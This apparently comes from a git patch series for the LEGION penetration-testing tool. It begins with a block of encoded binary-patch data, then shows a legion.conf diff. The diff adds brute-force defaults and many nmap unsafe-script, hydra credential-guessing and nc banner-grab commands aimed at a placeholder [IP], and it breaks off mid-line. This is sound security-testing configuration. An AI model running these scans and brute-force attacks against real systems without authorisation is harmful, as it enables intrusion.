zT;0*sY%(~~JWzC?lPK6w&UcKk?77KzVrf@*36i*XlLSp*LBBw-^V#5eKZ~T>u`J)Y zflNFX zuWltLu3%{T)PzIVru4}9$BU&ydWqLmPbxyiLuK)m>ezD@iiVr?=P_R0>%_c2Xmxgz z+nkn_?0v9iA?J~)iNMIM)JS44+mz!QAFkDXcTxm;30&r6zh7g1r%Yck_k+%-BzJ{8cxKXAFNJ_NTh+}x2t$A-f z1TOMNcf7f>I3iRU&C)|(mSD}^z*078{y|IMbUOn?Q=_N!fw4bJcFDMC#y;1j~!JC!M6wcZhDU5P`lAx}}g^J=I)?v-8@Ol&z36zP^<$PoacuzzN|ffDPYTz+$eLMxH&)nv zuFs{=%{7$7s*vR+Xzo8pQ{m9u#HQI$q+zSAM;oWQzdz|Z+ll$NHM?TbWN?im%Pclz zf~us(t~9-pHNEt-8SRl()3mkXpS-G+powGe;hX?Wp7~t+2?ah?O|6~w8)RN@j=jA= z{oYUUTUaEe`HVdwj}?CpT&qumpTV>cuI^h`GUsX}BW`TdYZ-LfouXtvbR=Yx&q<-lg3eW&%|QcV=g;zVmDap!Lg@}>_CXD(FTva(n=V@gl^Wo* z>4hVYlElxnq+mruI@Y^t?5xKkIePxA*IT;Pz9KN1|Dh$TtHLWUr;E^TnZ=(`Tj^#F z1ACqISY?=mmSZ$K6qn|*#urXoXarncoF3cMFU(a=dX~8-FlpgtQ7IJFuGX@qt6A2b z`8muA310l*xI5XzcPHB>x-2T6PkjYhO$y$a?d3i6*ECNA@ox@j3(6vxTio&v_aj63 zhg#~W3)qIZ3@Lq;2bix;_#gH0Rq-_`M>_6)kV*>~?eHjkR$y589H#Yp1V*Xm1KiI6 zKfL;b+}=OD+}KAxk6sJ4u2+S-8)pOSGsE{qHhHoYU~h znJi8D#8!EvTP4~1j~Z&YGS1EFT7-k6H%hd2!JAZiD^7pH@9J7Qc_!^`hDvKiM0_#2 zP+;7$x=tO|oBlEsezFY!HXw4Hop^Pb(i;-0t+S*#zu5mU! zCo*jZ4%iDvrVgkFHeVI^`3uFx`9H@^nPC5EJeoir8_uzso@oGE&;FQpGNZ_b%nbzf zsI5vG*mF3lT`*92WxnG=cu>(Pxc&D<>xccDlQ7X2Yx$eAYAeyDQxxa) zAX-lf|5zxx>ddhg$(nkjpcJ^m@~&`gb>vO;X$>Ny3diV9V)|!3C&-rtNI|F5iSMxT zsxNzbv^pctXDf1~m(OpUf;WEx*-G3g%`?Xa*uWxSng$DjsI2pSZdc#>{#LP1Lf>4E z$lzGrXTY#N{qx`)+>MHKpbnXy&PNUGRs!0Fj*KYi1I|ZepX?9u`X@dEaa4uE&*Ty2 zDc^&PZ{ZHP`Atia4)RKHNHLJLRHg<%V6H3r7)gO zot<65dgepj9P*V;x>uG!?XO=rT&{L@hlRMhQ2olq0(ME1$edWSiUa^@!|fE z${I0S1v<=~2sRV(G~#H-o93eT3S~_RF^sCrOrT#D2(zXxwx{>sS4+n0@oegkuvQQG zR1XEgi{;Zw+hM$!&3X=|w)ZZlntp(CEyqXNs75%U{re<)A}iWf)(DP6H?y@OK9_Uf zzE|J9&M>KAB)*k&Xq|o-*1fOs%b>AePC|?B znp6)@?(nm$*1b`9w_JI@@vPjt`*6tt-}$NsN8x`-5ltVyop~xBI~X_Z{2Gb($to~7 z$}%0OLi(j!LoJ#n6+Fi+w{y999vh+fqJ%2D04LWH=m%W za4Nazb9f6aOS!(YH%aT#LH10}T!4~budq%i?-;_(#E{+&tKaY(Rg-ISPJ7Q+tKof< z{Z@CB_ZCXb-VvwaNDrZXizB$7pR+$DP zwD0e9%t!4q9MBnvFP6By3pqG%JmU{}N~EG+*r*1SoTTtOr2=BwWA)NejABHI_H+Zc zOSP99!hm5NS!cndv*G)SnFz#3jqJ|Of|)e;ZEhh^3T%M%ci}T_Zf^d+#dAaIn6g>hwDIPS(TRtWGvqIj2mxp(BuedO zz%VyGw&dhs{hP9_V&qEA^4>H6NV3*E(cC}dC=`dGizOY1^ilBPd!Gjie6r?(E;XAz z6^`5yS2@I+o21q!c(QOWP&AC*vQPB@iVCt;57hJ5NeQ2(fwk>mdbjBYy@7k_-eTUBk2%$13WnJtBo#>d17$0IRTy(;WgrQmjS z$gQt;dV-*^2{^6mhOGl4wRs6M76hgHY}pxW#$6RDR~~I}B%!Dz@%AxmZalJ7-ZHSk z?0ljQ5Bh}ozI3;Epg6ojzP;uxJ2}W@9Eoj?H^2!RwJ}sx0@LqaQ}4dxj>V&BxT$L- z1KKCv6GznxtEM-v+zp>D>8}8rmCkX+1MpKBInS~>8t+7{>LWkz)j z9v#>6*`&j!FG9gFQE6vhZEGG&T^kpc;P;lNl{-V#IVnpurLC8I;>d12mnjp|X=7*~ zq{Wt1W%d=eMqmIsFK6-l=_bXJm(xNAg5FFz@M}jNy=olLz&yaDBoPR*n>jc6VyDjk zM_2k(F*h(2^m)jquZ%`8Z*~|8g!2an54Y@avNUjuv*U40*L|NzUZjBo+Gb{&}I>!5!$u9f@dSjemB zCGzAy< zzD7u1;B%~m-HQwqj0&!Oqh@CZr@(cyj36*WFGn1>43A8_CZSCu&Fq&7wKN(yVS>$K zZz{ulK(d=k2U7meBiw8O^q}XYC!gVSNC67tE*Io`o2jV{P2aS#H=Yg3o@@Y=OAq!MNF-4K`W(q}KEm9X?yh=dWwt$K}Mlc0wVu-oc3 zxXe%&a~WLyqhq1ez+#GAr}gW5XvsvWdssXp4!@$lUh_^Elx&s;W}ba!W})_5=r{ZC zGjPj?VctCR#sIfM8G7S#R7X_!T7+?ajhl!bPZj2#quR?70O{JvZu1XXnw%s91t155 zs*CP*_1l42w(OP-*l$eANvJx`#t{b>i1eX%Qf5St9I!ss23_gh zLv!9&v-56S{9g0s`DJO@sh#KD$amuzT&5}}&aG=gBU6tvJY^Oy%N}6}HC&i}d2o>z zWe>7<;VBYNL91y?w^!+ZAAU-=I%4kT7wTI-ybwgAWtU|$-un0+JstMp zvZp58>W{9ujFEYVZ1Re-#f2PW*^2U?%LPBnxBU{h{lT-pEJKo7MKnO8Wds#rP4-`M zed#7&10h($rRma55-Ytb>ZjZ%RQA-h*jB)r?#vB!BrPykrxfPOGaL z^{UP?Kj6EEcwt*r%Zb=U5Z6ln7)MwR751udXV0fzS8UtGhlZ01?ITGAOkQIPGzb>E z{kG&kZ|qyl`9uq$@c6O$nQsK23Kh$q7gVH|$bek=CFiS}%50F%N>sa_vjbSvjX=1W z;D@DGk)%+o5e}eMmZ^5SIJzjoQiS-+H=jDF{n#0rUcK7xNQA9L+DzPUIJn!D{ zhCgJE%_QHxsLAq5Q`H?o5BA0w@0pwR4#C6o!DV!RU;nW6UESSf-DYGue}_MnW(~P7L^jH= zM%nzce6RQnLRB|c((<4!+OfI+(Wic{=>sf9s18Q}Ef5A9cf{UlyYu?2tH7zFnn){{ z%MBZAjpnmgmJ?l`0r6d!`FS+lIPi6oDzqpQIbG2|xB(%&^vR0Tt1Nh(t7U4Hqi`dU z=T}bGjJsOmIFICy^1|BI)4LiZ6ob6mk-1+Ek20Q%7~GL>4-i*y%3;p7QCxvm@2TSA zVrvjGy76h6hd0oz3qXr%9Mt6_(|`;tFeaw))FIfxHEN5tP`B5#mZXr9SKB<(@0qu^ zEIIb+N0g!3C<1hjfei~NPmszh2y-EoUwPv-x^oq-E?2mq;ntv=Cc~-Syn;;ox4yHc z*d3>L`G>qo&s@+j=H6|lh8+k_C53)_!pI`he@K z8+l}T5RyI0yW^a7)+CLQEm*(vIVxhQV_}}SfA-|rnzb1+Bw`&vJ+oXPy_MkY<>UH? z=r6xa>1uXZNCR5}ZMr;9G%Z6lX2|wGKYC%>VoAtZJb_{Q>}eLrsD)zO5|5uKJqLu| zj0@GS{Y$El+#?Eda7LoTDBYV0{fW`FI3VtGlS;a7B#OD(k5Ct1tVCu1;c}!PjN7cA~%Y*AA zNb`|S!Ry^jLkdUh(&cs~s4a{i?qE*&Af7ZO2Wr29hF@wgZ%MK_BhjtM<*mq(j9G11x0xQdv!r+E`Ov3%)b3nC$%|@vm9a#l4HXY`K$(svIWv!pA$2!Z+CsOKnT+6C`Q>tCYLMY8`S793*S2v4+ zUb)Vwy{)#kr%0@`@4*Y%+&nPunC1c$L1%qiDfjB&#Y6L zY*?nzb)r0BH2z}uF0$SB=uH6Pe6yx7H~_p_Yc-?!{+(Af5rAwje|rzh2-DLjDx)0F z!=#3q7~=AuucP4yKACu23VjdOU@WoH80?w!j^Z^8!uu2H_Yk#Dv3v@ouF zd2Hsr>W~@-LvnvqQg`Ry)!~i*4ZG71a{eR51*}Lo)g*23?_UY79SuzV&U$-wwr{(8 zW>Ixhq_LiI?AJJ?V}|FzsG%CoMRg{ah8N2E1%FQk0cpGl@KS9;4ohn2i>5mTqG2GL zCF0bzp2EDFeDJI0l#k-B)}Pu8=gF8%JWmwM^b>#1@BTZFWf?oZJ22S%4gf8gEi=^p zrL}hBuU7U*=wGxZ4CI1rROIkZ+~g57a)A}$O>5Q>l_}h`xuCh7t2EB@&0LLJTm2L6 zAG10Ifn^PP3OY6EdcYO2X?S>4M`Yy{+LeLkk@&{D5ub;MJ$JIFOkm4^R(z|0xu+$; zvXWL9SX;OporFbVLA}Mu0d{2C-B5c0#KtU@se6)zxv{q!PZX7yyr;tPa^32KcCr-p z!AxShThCf8Q5bu-1j2o+vv|{kDON(z-ypk0WXe?IOI@{!WC!;0e}w4AFIO?OrnP#hgl^!Kngv}Qt<7kTg=1Ts0y zKky;onW}V13#5R=&x9o3fWGm{dno(~h-7M~)y_p;;Db}IDEx|Uu;wqFnW*)!l8;bR*Jl*U@k(uo zee@|$%@)o28z<(_DF~`6q(=|CxXX@aUQdm>EntK#as+?|(!~;jWdHh0Cl)->TU_m@ zAXU~NdEPfWlyfa+fZ6l)b9QX1-I4Xh>#28i8dN$I+2EP;)XA4}V6$<_uK&qdr60tw zBTa9F01Kg~wAkd45$y?^c*#4R`%E}q1zJY%9=OoC3_K_13N^dqE`%8`o0Zutg&AuP z8MuQbI%OzjhhduTUGH%NB|3<;W%}n7BTe4pM~wtq^b9)h*#fm!r>TV~C#7>u)>MCP zjE9^v-_Gi)Od^nink7$?=eM@L(5qH?#rsq`nzZuodAYNk4*Lwg=gghvttfDKUjKXh zB$`*=C_Rw~PW0^(p383tsdZ`fH>Vj{i;Xq)_V%u=1v=V{@AoNjfp%|`Mt2~`W013h zonL=nrhKUCd~DjS&2JHJ{mRi^#=qPVMUm-D(lki~zi-iJ6A#ThJ#tDkVi*p_lMpuN zpm0uu_a#`59im{Qt}8wJ4Evb(YLjG-qf~KMqIP=u&!p%pxxJ7bJ?XyZ|7fI3%gPpK zH0@q|6&4_n>6*By&Z+Kjo!eI|-#o9De}+6Jzl}hfSbIhmKWG&>cuNh%@du9FMg7j( zi3JQY@dWOjf4wBDp%_;@Ksr6-Go#2WZzj*OE5D&*rP{0Vh41l=eU1)A722o^%O|M6 z#$MM&!n&z5RM3u+dXc_M=+x-&SpK?0eyl~S8hw+2GBB5b6q?N(r=WCZ`;Hd(GKK07QZ0kH+-0RbppPIO@@93{~4l|5}zCLDnE~i{bS?+Ms$;Dm#V5sU}zHlEsY0{iWa09ZP__FyzJMgc>|`^l+4@T z^G;l{()=DM9u^8ipQD!w?F2BstYu9 z&C+GAiE+_a*$F@Rq<{;}7(Dv*6Gyu;ymJYXIQ~UF+Q&<3G71Q^fd;wLy@3XZWvdwQ zd-?5m$#f~`CEW1!J4ZD{7xCyvctZOGm_xf&E&j1QY$L)r>ijo5mN>UtgO++=dIAk8^cWyz zaeq~obK%zST)Qvvco7dd*1FVs>h$J2aG8unQh|JXIgvm_wRR4WI#&p?q7uH>>sP!^ z6M8mm&*^jp&H>G}vWs^@c~YZ>xLYOoxJ&Bd+^%6HpImjc4|QWz0*zTmnU%l{aqi#C zS0}gSO)3au=P%3SD&0PSFL4;q3Ql$()6KG&D)zL5D7+TnMXgQt9qi$e<*CCxc!>=> zKkYB}p2`q(P%xCp=ZRrEIUo0*_XW#@*P~~poC7gbIhUm@^vyhe^?7kCL|pEI&G^|mBw0i5ug0Pt41}v}2!=Qm+m^Nhnm)zrO`hKUQ!m#lO(PYVX0mL&ku6J`e?6(HdLH_QmN|pKmNPW0 zRW@Qu7c9R7-WOd_I4BA3_8#!TEm|jBInrvvx^WOInx);T9&&MYwH_QW3kV9i+edkK}v{sXycyP|H+Rf;$3>Cn=|o=!*>ntrokt4Jw2k-eQx))pj0yE~|(n^ffd zs48m{Oty&OV7RNm;6^>_w$gn!;IYZy!y!H*w>*?w8<(DZ7J9&eqNOA$+qfYd1rhL! z8WpGReWg$g5mfbvDCn! zO1j}Ox?kMmvAv}al25DE>^MDn`E}-9KvE=VW0)&vT+K1?7NGFi$v<}zRd(#}F zgoasH`9{ki$?jdXe=_iL5HsnWNE91wyVgm)B|5l_+$U^ z8+EJXdRqHQ>t-dcNjLeo{GcNbwy$w@*;ViP)Q)v?ehxmEY=y$DH^t*D zgvcb1Y8-jYSNrLoVx6)gT}BD9g&vKV2rP zcE#^CrQ?V`B9mw}_)ozML_a8@`U*-Y&Kd@@2GQYw!_n&<_?fJQ3$lDWP-1nCV7d@6 zQf)2t{f8lT70|};Z}DWGtUAFZeQv^y&({?`s(p(vr7xB68tNwCiRFYJ%aEdiY2`@8 z(@n1yjO!%BaK=;}+`-O{ND3c34Be-<@E;|l7e9J5&JCf&78vB$8rp1wUb8!OQ(;8J z3ONoa`SpTEsew%lWxwK+5|rn7APWVtb*JuSE&Q38fli>|md%SL2};=w=hQnp|ETOT z7oSk&mel|zL@1>&xgSls1(w~F*s$Wc(ylyolcIuf#H<(tlbhsR0>R5N0|DV1H;YoZ z<7fkFevsR+amUEU&V&k5VmYyK(+bq9EDl#kY+t{_7c$D~2vdy#>QoC{m8bIA`(PRP zc*3ulI3sQr-SL;wo^BdNwESwV|J@$n;r2{$Q%LOmciet$RoGI8`tWAmL@1tqt0EK~ zfd757;=jmh}Md4a;xa?QtJgm{^b)q3IG>s--F<% z4he0bP3LyyE59rwI=fXue+H-o8l6vg%eH?j;}Y>2%&wNfY}5oT^liMG#x>Yp?I{8o zB^Mxse$5EHnE@wC`FI{2*yi_xyBK0A6($+t)dcvVC~DbS#~c*f5(o>yP3(}Ss=HO3 za(>FzOlSvv+D|)@TutRd5aQZE;Cu%FV*pC7hFqG^lObJiq4Yd z%1H7I!sK60kEkc~{A00`iHbg1_%FA>R}`*@w+geWcEv61kcsuufAKqKwzwp|rs9Eg z#p*qa(T8VTUEvgzfRVNOTF4)6EijK`Myno=-pGumCm)tHUu~auzWtN7!kCHR9T(YX z*6V(n2DvvOC&w#kp`zsKa`W{a8sTR)9XjYg1yky)m%KR8o90S&Wx9bbkY->UrjG57jngewfD`RLh99383KFu{&aRw`Ds zz<;34c^Ryhlq`dXB{4$+nBv+e?1EIA!1u;LLIk&gk{?Lq`^etX!EK%Sb!xHjnV50??zK+st_?*0 z3s{pU6+~SrXKPJyEs{+{(K6c1u3CX30s@qO8Q=W4t+8J)6^fzPXgyt2gSW;g14K0R zTZY?Bn+%OQk9r#AD3sP^L3H2v!Ir@4CbWr@KB?0+oNJMBp}f&RJjD51mzIT4+-YXI zVf}i{+Y+*mL?`IW(|GUUDfc)R4uPlK*-dT+J73ac3Qmr?>(tj&RpoR}(U%UddszdrAx$8vmjv2K&#tzs!3vSDjNRNN7h6N)^H%yAW{uepSoy%Vo-R58DlcE z$dTmUY@F)HgAmi*JKA2Z12AZOG>g9cEM2|fPBe81k zQ1$^#dX|qahF%UHzGX>xR1#z8ODH&zFL<)ftH6ZX7v4la@p5d)KYHe$dD@GQB_BIk zP*zvbaN5Rd!M;s)uSvPtn0VgBG_E?`JfQfa6G3vuVYCh#W~2`@ciPq(wJz_|W%}ny zt^oE)M+awYUtIoxz{V6+g$pNlM!*`TONfCTEPN8-uj8J@Q*O2 zDD%InU;hkl4}=dO6JCn6&~+tJZwviMt2l|o_B^DhfF>x$kfz4S;0F&XXmg1LLcz@M z^{N>Norr+Z9TIp=inmGlRpfLTp-{~Z2H)*3=)ts}HW*g_O~MIQ`HWXVggu1fTDcDo zfqpQ&I-+g8Yd)&d+!Nn4I=Ozgy8i-FpSGiIdH!sj;zjqMBdOdx`5&jV&*G|+Z%w4u zXGKvSgg8fiCEcf-8R7}yJ@IPHOEXWW9Gnz?H6beQH4=N}SuH=NDBOH?D#qu*Kf?8e z-y%;)rMzhxZRKy@{-~peie;1X?WKUCol@({upx|}8W;$DS?K2cy_}(?Sp+uqK3}Kc z{pjPKVYX4KZuZHOs?Wd9fOHcIyndMotn45U$ODdycpQHFUbpm%#=D8>ts70FADrI# z`1sBe@I2cgUDIwE&GGT`5f@|QiL455o`*Ome0@;szZ+fP*BM2Y61Sw0vv}OZ)~;T>0-*v#rEQZ&)m&9G$QF%AgJt3JP)=$ zYU*ut7Vg7b3oAJIXK}KdKCiOxsZUWH&s?uY8ZIbz+J`uIb@SMsE7@RZC0=10WF7t5 zuC(sj9uhoM`_b_`K&ak!bpYRV$K<#D*o0`vwbQA3ucf!1LnMc1KxAWz3JfO_9n}(~ zh@OwtOKwWiR6z(CRm}V>7pE>kbU%QTex2dma`52CF3U>|v$d z@<&Xm{!aKJMsFdDEhHrBk8Xjs6ucn>=m)ZT{pgh%Q$U$*LGc2c1Qv1sRs2ceZjzU@ zPMS`~wan*JKsPI)JdNMcw%ITZvhk$ljj;JI!ZemxlK3;KP7{C{%`8q-gtq&OX|DTz z0sIG`HA(wW4ICHBD-x4R;!I3#WeXh?dgF!3iCxN4nxDw|8qxP(_|&H3YaZ-hWM@08 zZjQca6upH8f;N`0wB#JCeSpMOm2(AkmajC1L6D_++~O#;NG||3WyPwPiUAB^xvMG4o;fpLhQOKUvqk z|D4{ftEl!Xg3lzeV3ypnC(tE%_-x)E1=1A%vqHpvh8+m=V5J Date: Mon, 25 Feb 2019 08:36:52 -0600 Subject: [PATCH 134/450] Updated conf with more tests --- backup/__init__.py | 0 controller/controller.py | 4 +- legion.conf | 343 +++++++++++++++++++++++++++++++++++---- 3 files changed, 311 insertions(+), 36 deletions(-) delete mode 100644 backup/__init__.py diff --git a/backup/__init__.py b/backup/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/controller/controller.py b/controller/controller.py index 59c5475c..231b5cbd 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,11 +28,11 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550873397' + self.build = '1551105370' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] - self.update = '02/22/2019' + self.update = '02/25/2019' self.license = "GPL v3" self.desc = "LEGION is a semi-automated intelligence gathering tool for penetration testing." self.smallIcon = './images/icons/Legion-N_128x128.svg' diff --git a/legion.conf b/legion.conf index d76c9c63..850f1c82 100644 --- a/legion.conf +++ b/legion.conf @@ -1,3 +1,16 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,100,100,100,100,100,100,100,0,100,0,100,100" + [GeneralSettings] default-terminal=gnome-terminal enable-scheduler=True @@ -8,68 +21,260 @@ screenshooter-timeout=15000 tool-output-black-background=False web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" -[ToolSettings] -nmap-path=/usr/bin/nmap -hydra-path=/usr/bin/hydra -cutycapt-path=/usr/bin/cutycapt -texteditor-path=/usr/bin/leafpad - [HostActions] -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v [PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", "telnet,ssh" +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn, microsoft-ds" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse 